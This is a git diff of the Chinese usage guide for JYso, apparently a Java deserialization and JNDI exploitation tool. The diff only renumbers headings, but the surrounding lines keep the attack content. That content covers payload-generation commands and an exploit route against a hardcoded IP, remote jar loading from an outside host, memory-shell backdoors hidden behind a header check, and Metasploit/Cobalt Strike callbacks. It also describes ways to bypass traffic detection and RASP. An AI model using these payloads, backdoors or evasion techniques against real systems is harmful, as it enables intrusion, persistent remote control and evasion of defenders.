diff --git a/JYso‐CN.md b/JYso‐CN.md index 6e82bb2..f25a947 100644 --- a/JYso‐CN.md +++ b/JYso‐CN.md @@ -1,4 +1,4 @@ -# JNDIExploit 用法 +# 1 JNDIExploit 用法 ```所有使用示例,用的是Yakit的FUZZ语法``` @@ -185,7 +185,7 @@ http://111.229.10.212:3456/setRoute?a=Deserialization/CommonsCollections6/comman --- -## 🦄内存马 +## 1.1 🦄内存马 两种添加方式: @@ -256,7 +256,7 @@ http://111.229.10.212:3456/setRoute?a=Deserialization/CommonsCollections6/comman --- -## 👻 BeanShell1 与 Clojure 利用链的拓展 +## 1.2 👻 BeanShell1 与 Clojure 利用链的拓展 对于 `BeanShell1` 及 `Clojure` 这两个基于脚本语言解析的漏利用方式。 @@ -309,7 +309,7 @@ WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命 --- -## 🐗C3P04的使用 +## 1.3 🐗C3P04的使用 * 远程加载 Jar 包 * C3P04 'remoteJar-http://1.1.1.1.com/1.jar' @@ -329,7 +329,7 @@ WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命 --- -## 🐅SignedObject 二次反序列化 Gadget +## 1.4 🐅SignedObject 二次反序列化 Gadget 用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等) @@ -361,7 +361,7 @@ WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命 --- -## 🕷️Deserialization路由 +## 1.5 🕷️Deserialization路由 | Gadget | 依赖 | ps | |:--------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------| @@ -564,7 +564,7 @@ BC :BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance() }} ``` -## 🐣其他利用链拓展 +## 1.6 🐣其他利用链拓展 对于除了以上的利用链,使用的是 `TemplatesImpl` 类来实现。 @@ -576,7 +576,7 @@ BC :BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance() }} ``` -## 🐮任意自定义代码 +## 1.7 🐮任意自定义代码 对于使用了 `TemplatesImpl` 类来实现的链子来说,可以使用此方法 @@ -595,7 +595,7 @@ BC :BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance() }} ``` -## 🦜利用链探测 +## 1.8 🦜利用链探测 参考了 kezibei 师傅的 URLDNS 项目,实际情况可能有如下几种情况导致问题: @@ -638,7 +638,7 @@ BC :BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance() --- -# ysoserial用法 +# 2 ysoserial用法 项目支持利用链展示: @@ -753,16 +753,16 @@ If you want your payload being extremely short,you could just use: java -jar JYso-[version].jar -yso 1 -g [payload] -p '[command]' ``` -## 利用方式 +## 2.1 利用方式 在原版的利用方式中,对于使用 TemplatesImpl 的利用方式,仅使用了单一的 `java.lang.Runtime.getRuntime().exec()` 执行任意命令;对于使用 ChainedTransformer 的利用方式,也是仅 chain 了一个 Runtime exec,再漏洞利用上过于局限且单一,因此本项目在原版项目基础上扩展了不同的利用方式以供在实战环境中根据情况选择。 -## 针对 TemplatesImpl +## 2.2 针对 TemplatesImpl 原版仅使用了 Runtime 的命令执行方式,这里对其进行深度的扩展,并植入了多种内存马的功能。 -## 扩展攻击-内存马及回显 +## 2.3 扩展攻击-内存马及回显 如果使用这些利用链进行攻击,本项目内置了一些高级扩展用法,命令均使用 `EX-` 开头,包括内存马、命令执行回显等,具体如下: @@ -838,7 +838,7 @@ java -jar JYso-[version].jar -yso 1 -g [payload] -p '[command]' 本工具支持的全部内存马经过测试可用,但实际受到中间件版本的限制,对于内存马的相关测试,可以参考项目 [https://github.com/su18/MemoryShell](https://github.com/su18/MemoryShell) -## 针对 ChainedTransformer +## 2.4 针对 ChainedTransformer - CommonsCollections1 - CommonsCollections5 @@ -907,7 +907,7 @@ java -jar JYso-[version].jar -yso 1 -g CommonsCollections1 -p 'JD-ldap://127.0.0 java -jar JYso-[version].jar -yso 1 -g CommonsCollections1 -p 'open -a Calculator.app' ``` -### 任意自定义代码 +### 2.4.1 任意自定义代码 如果你不想使用本项目中提供的恶意逻辑,也不想执行命令,可以通过自定义代码的形式,自定义代码将会在目标服务器通过 ClassLoader @@ -919,7 +919,7 @@ java -jar JYso-[version].jar -yso 1 -g CommonsCollections1 -p 'open -a Calculato java -jar JYso-[version].jar -yso 1 -g CommonsCollections3 -p LF-/tmp/evil.class ``` -### 普通命令执行 +### 2.4.2 普通命令执行 最后是普通的执行命令,直接输入待执行的命令即可。 @@ -929,7 +929,7 @@ java -jar JYso-[version].jar -yso 1 -g CommonsCollections3 -p LF-/tmp/evil.class java -jar JYso-[version].jar -yso 1 -g CommonsBeanutils2 -p 'open -a Calculator.app' ``` -### URLDNS 探测目标类 +### 2.4.3 URLDNS 探测目标类 为了解决有反序列化利用点但是无链可用的状态,本项目提供了基于 URLDNS 探测目标类的功能。这条链会根据目标环境中不同的类是否存在来判断系统环境、依赖版本,主要包含如下表格中的内容: @@ -965,7 +965,7 @@ java -jar JYso-[version].jar -yso 1 -g CommonsBeanutils2 -p 'open -a Calculator. java -jar JYso-[version].jar -yso 1 -g URLDNS -p 'all:xxxxxx.dns.log' ``` -### 其他利用链的拓展 +### 2.4.4 其他利用链的拓展 对于 BeanShell1 及 Clojure 这两个基于脚本语言解析的漏利用方式。 @@ -980,15 +980,15 @@ java -jar JYso-[version].jar -yso 1 -g URLDNS -p 'all:xxxxxx.dns.log' 对于 BeanShell1,还通过 ScriptEngineManager 执行 JS 的方式支持回显或内存马的打入。使用方式同上:`EX-` -### MSF/CS 上线 +### 2.4.5 MSF/CS 上线 使用 MSF 的上线载荷配合远程 Jar 包调用完成 MSF 上线,后续可转 CS。 -## 内存马的使用 +## 2.5 内存马的使用 针对项目中一键打入的各种内存马,这里提供了通用的利用方式。 -### 命令执行及后门类 +### 2.5.1 命令执行及后门类 对于植入的内存马及恶意逻辑,首先为了隐藏内存马,通过逻辑进行了判断,需要在请求 Header 中添加 `Referer: https://su18.org/ `,其次执行不同的逻辑: 这个校验的 header 头部和值可以通过 `-hk "Referer" -hv "https://su18.org/"` 来进行自定义指定。 @@ -1011,13 +1011,13 @@ java -jar JYso-[version].jar -yso 1 -g URLDNS -p 'all:xxxxxx.dns.log' 7. 如果是 Tomcat Upgrade 内存马,需要指定 `Connection: Upgrade` 以及 `Upgrade: version.txt`,程序会从 Header 中的 `X-Token-Data` 中读取待执行的命令,并将结果放回 response 中回显,可以使用 `-u "/aaa" -ch "testecho"` 来指定。 -### Echo 类 +### 2.5.2 Echo 类 对于 Echo 类的回显,是基于在线程组中找到带有指定 Header 头部的请求、执行命令并回显的利用方式。 使用时在 Header 中加入 `X-Token-Data` ,其值为待执行的命令,命令执行结果将回显在 response 中。 -### RMI 内存马 +### 2.5.3 RMI 内存马 对于 RMIBindTemplate 是在目标服务器上的指定端口启动注册中心(如果没有),并向其中绑定恶意的后门类,配合 `exploit.org.qi.ysuserial.RMIBindExploit` @@ -1025,11 +1025,11 @@ java -jar JYso-[version].jar -yso 1 -g URLDNS -p 'all:xxxxxx.dns.log' ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdowniShot_2022-08-12_18.19.48.png) -## 防御的绕过 +## 2.6 防御的绕过 这部分不涉及使用方式,只是简单的描述一下项目中所使用的绕过方式供大家了解。 -## 流量层面 +## 2.7 流量层面 对于冰蝎和哥斯拉,他们自己在流量和Java层都有很多可以提取的特征,这里没有办法去管控,需要各位自行去魔改,其实也并不难。本项目把一些大家实现的比较类似的一些特征进行了去除。 @@ -1046,7 +1046,7 @@ java -jar JYso-[version].jar -yso 1 -g CommonsBeanutils1 -p 'EX-MS-TEXMSFromThre 可以生成填充了 50000 个脏字符的序列化数据 -## RASP 层面 +## 2.8 RASP 层面 对于漏洞执行常使用的 Runtime、URLClassLoader 等,很多 RASP 都进行了 Hook,在攻击时可能会被拦截,这里我使用了一些反射调用 native 方法之类的技术去尝试 RASP 的防御,具体的技术实现就不细说了,感兴趣的朋友可以反编译 jar 包查看相关代码。 可以使用 -o 参数指定使用绕过 RASP 的相关技术。